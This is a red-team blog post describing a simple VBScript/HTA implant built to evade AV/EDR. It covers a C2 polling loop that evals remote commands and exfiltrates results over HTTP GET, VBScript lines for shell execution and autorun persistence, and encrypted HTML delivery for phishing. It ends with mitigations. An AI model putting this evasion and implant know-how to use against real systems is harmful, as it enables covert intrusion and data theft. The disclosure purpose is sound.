Low-tech EDR bypass

2020-07-02 Low-tech EDR bypass =================== 2021-02-02 UPDATE: Source code has now been published: https://github.com/magnusstubman/mal00 TL;DR: I designed a piece of super simple malware/implant that evaded almost everything that I threw against it. You should really disable execution of legacy scripting languages on your systems to prevent attacks like these. I'm disclosing how I did it here to raise awareness of all the excessive features and functionality in Windows that can be weaponized. # Background Not too long ago, I was designing a reconnaissance payload that was designed solely to grab and exfiltrate a list of running processes. This payload was to be used in a preliminary spear phishing attack, to better understand our target. In essence, the reconnaissance payload was to do the following: 1 Get list of running processes 2 base64 encode and URL encode it 3 exfiltrate via HTTP GET request, as part of the URL As it was ~unknown what defensive systems were in place in the target environment, no attempts for native code execution or persistence was to be attempted, in order to avoid detection. Code execution was intentionally gonna be dropped, in favor of stealth. At the time, this was logical since attempting to spawn a native process running stage 1 implant in some clever way would likely be caught if proper preparation and offline testing hadn't been done. The more I thought about it, the harder it was for me to accept the fact that code execution was intentionally gonna be dropped, as there were no guarantee that it would be possible to get payload execution twice, yet alone once. # Implant design As a spare-time project, I came up with an approach where having to solve the problem of attaining native code execution would be postponed, by simply making the implant continuously poll for instructions to execute within its own runtime, instead of natively. This was implemented in VBScript, and packaged in a HTML application (HTA) [1]. In essence, it was quite simply implemented, by in a loop fetch data from the C2 server, and feed it directly into the eval() function [2], and return back the result to the C2 server. Pseudo code: 1 while (true) { 2 command = httpGet(c2hostname) 3 output = eval(command) 4 httpGet(c2hostname + base64encode(output)) 5 sleep() 6 } With this design, we gained the ability to extend capabilities at runtime, all while staying in memory, without any process injection/hollowing or anything else that EDR solutions are meant to detect. It slightly resembles Cobalt Strike's in-memory execution of .NET assembly or the newly added Beacon Object Files (BOF) [7][8][9]. As a result, the implant is at the time of writing only detected by a single AV/EDR solution, among the ones tested against (although I havn't tested all of them). # C2 design Instead of typical C2 design, where the C2 would e.g. send 'whoami', more code is needed to actually give the implant the capability needed to execute shell commands, e.g: CreateObject("Wscript.Shell").Exec("cmd /c whoami") Moving files (e.g. for simple persistence): CreateObject("Scripting.FileSystemObject").CopyFile( "C:\Users\bob\Downloads\implant.hta", "C:\some\autorun\folder\implant.hta") Write files: CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\proof.txt" ,True).Write("1337 hackers were here").Close() Rob van der Woude's collection on VBscript [10] is good reference for more examples. This approach of developing malware can in principle do whatever feature-rich malware implemented with a classic architecture can as well, but extra time must be put into it to handles things that are quite tedious with this approach, such as handling state, etc. As the VBScript runtime is quite limited, and attempts to implement more advanced features such as socks4a capabilities or anything else that is network based will quickly run into challenges. It's obviously possible, and if done, would presumably result in alot of evasion compared to the development costs, due to the apparently little optics AV/EDR engines have into runtimes such as VBScript apart from static analysis. # Delivery Obviously the target recipient would have to click a link and execute the implant by running it manually, but by slightly modifying NCC group's fine HTA encryption tool [3], it was trivial to package the HTA implant in pure HTML, that would when rendered in a JavaScript capable browser, decrypt it (potentially with environmental keying) and serve it for download and execution to the user. This ensured that any perimeter inspection mechanism performing static analysis would only see html, javascript, and the encrypted blob. Obviously entropy tests (statistical analysis) would bust it, since it was encrypted, but that hasn't been an issue for me yet. # Communications The choise of HTTP was quite natural since most, if not all, environments that are targetted via phishing also have outbound HTTP allowed. By using the Internet Explorer Automation API, sending HTTP requests from VBScript is trivial and even seemlessly respects any configured proxy configuration and any authentication setting defined, that may be required to reach the Internet. Only drawback is that it'll obviously crash and burn if Internet Explorer is uninstalled. But if HTA are allowed to execute, then it's probably a safe bet that Internet Explorer isn't uninstalled either. # Mitigations HTA/VBscript is just one runtime that malware could be written in, so to avoid whac-a-mole hardening, take a look at what you need to be able to run and whitelist only that, such that everything else can't execute. If that's impractical for you, Oddvar Moe has written a guide on how to blacklist mshta.exe (the app that executes HTA files) from running [5]. Alternatively you could blacklist the HTA file extension and associate it with something harmless. There's an article on that over at grouppolicy.biz [6]. # References 1: https://en.wikipedia.org/wiki/HTML_Application 2: https://docs.microsoft.com/en-us/office/vba/api/access.application.eval 3: https://github.com/magnusstubman/demiguise 4: https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa752084(v=vs.85) 5: https://oddvar.moe/2017/12/21/harden-windows-with-applocker-based-on-case-study-part-2/ 6: https://www.grouppolicy.biz/2011/09/how-to-use-group-policy-to-change-open-with-file-associations/ 7: https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/ 8: https://blog.cobaltstrike.com/2020/06/25/cobalt-strike-4-1-the-mark-of-injection/ 9: https://www.cobaltstrike.com/help-beacon-object-files 10: https://www.robvanderwoude.com/vbstech.php